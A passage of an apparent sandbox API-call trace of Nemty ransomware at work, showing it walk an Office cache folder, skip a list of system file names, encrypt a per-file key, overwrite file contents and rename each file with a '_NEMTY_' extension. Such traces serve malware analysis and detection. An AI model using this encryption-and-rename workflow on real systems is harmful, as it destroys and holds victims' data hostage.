dwFlags=0x0, lpWideCharStr="InfLR.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfLR.cab", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InfLR.cab", lpUsedDefaultChar=0x0) returned 9 [0047.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfLR.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfLR.cab", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InfLR.cab", lpUsedDefaultChar=0x0) returned 9 [0047.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfLR.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfLR.cab", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InfLR.cab", lpUsedDefaultChar=0x0) returned 9 [0047.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfLR.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfLR.cab", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InfLR.cab", lpUsedDefaultChar=0x0) returned 9 [0047.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94230 [0047.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.937] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2=".") returned 1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="..") returned 1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="...") returned 1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="windows") returned -1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="$RECYCLE.BIN") returned 1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="rsa") returned -1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="NTDETECT.COM") returned -1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="ntldr") returned -1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="MSDOS.SYS") returned -1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="IO.SYS") returned -1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="boot.ini") returned 1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="boot.ini") returned 1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="AUTOEXEC.BAT") returned 1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="ntuser.dat") returned -1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="desktop.ini") returned 1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="CONFIG.SYS") returned 1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="RECYCLER") returned -1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="BOOTSECT.BAK") returned 1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="bootmgr") returned 1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="programdata") returned -1 [0047.937] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="appdata") returned 1 [0047.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfoPathMUI.msi", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0047.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfoPathMUI.msi", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InfoPathMUI.msi", lpUsedDefaultChar=0x0) returned 15 [0047.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfoPathMUI.msi", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0047.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfoPathMUI.msi", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InfoPathMUI.msi", lpUsedDefaultChar=0x0) returned 15 [0047.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfoPathMUI.msi", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0047.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfoPathMUI.msi", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InfoPathMUI.msi", lpUsedDefaultChar=0x0) returned 15 [0047.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfoPathMUI.msi", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0047.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfoPathMUI.msi", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InfoPathMUI.msi", lpUsedDefaultChar=0x0) returned 15 [0047.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0047.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0047.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0047.938] Sleep (dwMilliseconds=0x5) [0047.952] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd048cfb0, dwHighDateTime=0x1d561e7)) [0047.952] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd048cfb0, dwHighDateTime=0x1d561e7)) [0047.952] GetLastError () returned 0xb7 [0047.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.952] GetLastError () returned 0xb7 [0047.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.952] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.952] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.953] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.953] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="PqOb3zTJiwDbCBTnrfMCiJn2Gf5nkDGtk3xH2Lis5s3qwSvPL/c+n7suvh3MV8h6\r\nv+BoRVPPuiriggxDweA64RwjOiEwDLsKB929et09QSCUJCtL1FnR8Osy8/KHe3Bu\r\nxZxWKvg++gtj51a9iH1WvciGB+choWfzOEpv9unOG0Tjv2PYfP+Ziyq0y9tlMxpM\r\niB2z4MpfP9Fg2kumoX7/pjCFBAXNjZgM9EdVogKLuqk9YZlIijM64t19f7utroaU\r\n3Wlb6ifypExLYmVvYyBv2sssPrw9e3+FGeY3vqtPgcu2RbYJj26zUaMH+kb2gQYZ\r\ny4pVP911mWsAZbTb26Y8yw==\r\n", pcchString=0x653ef9c) returned 1 [0047.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.953] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.953] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=3124224) returned 1 [0047.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0047.953] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.953] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0047.963] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.963] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0047.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.963] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=3124224, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2fac00 [0047.964] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.965] CloseHandle (hObject=0x3c8) returned 1 [0048.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.024] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi._nemty_kgobjgd_")) returned 1 [0048.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0048.025] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2=".") returned 1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="..") returned 1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="...") returned 1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="windows") returned -1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="$RECYCLE.BIN") returned 1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="rsa") returned -1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="NTDETECT.COM") returned -1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="ntldr") returned -1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="MSDOS.SYS") returned -1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="IO.SYS") returned -1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="boot.ini") returned 1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="boot.ini") returned 1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="AUTOEXEC.BAT") returned 1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="ntuser.dat") returned -1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="desktop.ini") returned 1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="CONFIG.SYS") returned 1 [0048.025] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="RECYCLER") returned -1 [0048.026] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="BOOTSECT.BAK") returned 1 [0048.026] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="bootmgr") returned 1 [0048.026] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="programdata") returned -1 [0048.026] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="appdata") returned 1 [0048.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfoPathMUI.xml", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0048.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfoPathMUI.xml", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InfoPathMUI.xml", lpUsedDefaultChar=0x0) returned 15 [0048.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfoPathMUI.xml", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0048.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfoPathMUI.xml", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InfoPathMUI.xml", lpUsedDefaultChar=0x0) returned 15 [0048.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfoPathMUI.xml", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0048.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfoPathMUI.xml", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InfoPathMUI.xml", lpUsedDefaultChar=0x0) returned 15 [0048.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfoPathMUI.xml", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0048.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InfoPathMUI.xml", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InfoPathMUI.xml", lpUsedDefaultChar=0x0) returned 15 [0048.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0048.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0048.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.026] Sleep (dwMilliseconds=0x5) [0048.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd054b690, dwHighDateTime=0x1d561e7)) [0048.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd054b690, dwHighDateTime=0x1d561e7)) [0048.030] GetLastError () returned 0x0 [0048.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.030] GetLastError () returned 0x0 [0048.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.030] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.031] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.031] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.031] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="GQNZOfLKgOdUAqCwEIZc00tjgSnt841l0YfYr7Glqvac9eCOMYWHesSZ9sGSSr9C\r\nK6jRbIxq6SfQ9HNSU6YUN6d4Y2TLAojgvqcaupIlCnMUkIBLjJKMztOzmZAsJpRm\r\n1NoiSIZTUcAIoiCBtft7/GulyVjUXcg3ffmvBCICqngBl9P4ERuz3N486eMtjlp3\r\nBDtdoYHPsyticLRBICLOBkKu/fxT/RjboeT08xdT5xGslkU+I7ZgLFbuqInALEXU\r\niwplztHaYgardTirkBPvogKfznNvjGKauR5MpNQRSxIMkJiuSbZnaEz+bUP+gtgG\r\ngWAK73kz+trV3cylFDUALg==\r\n", pcchString=0x653ef9c) returned 1 [0048.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.031] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 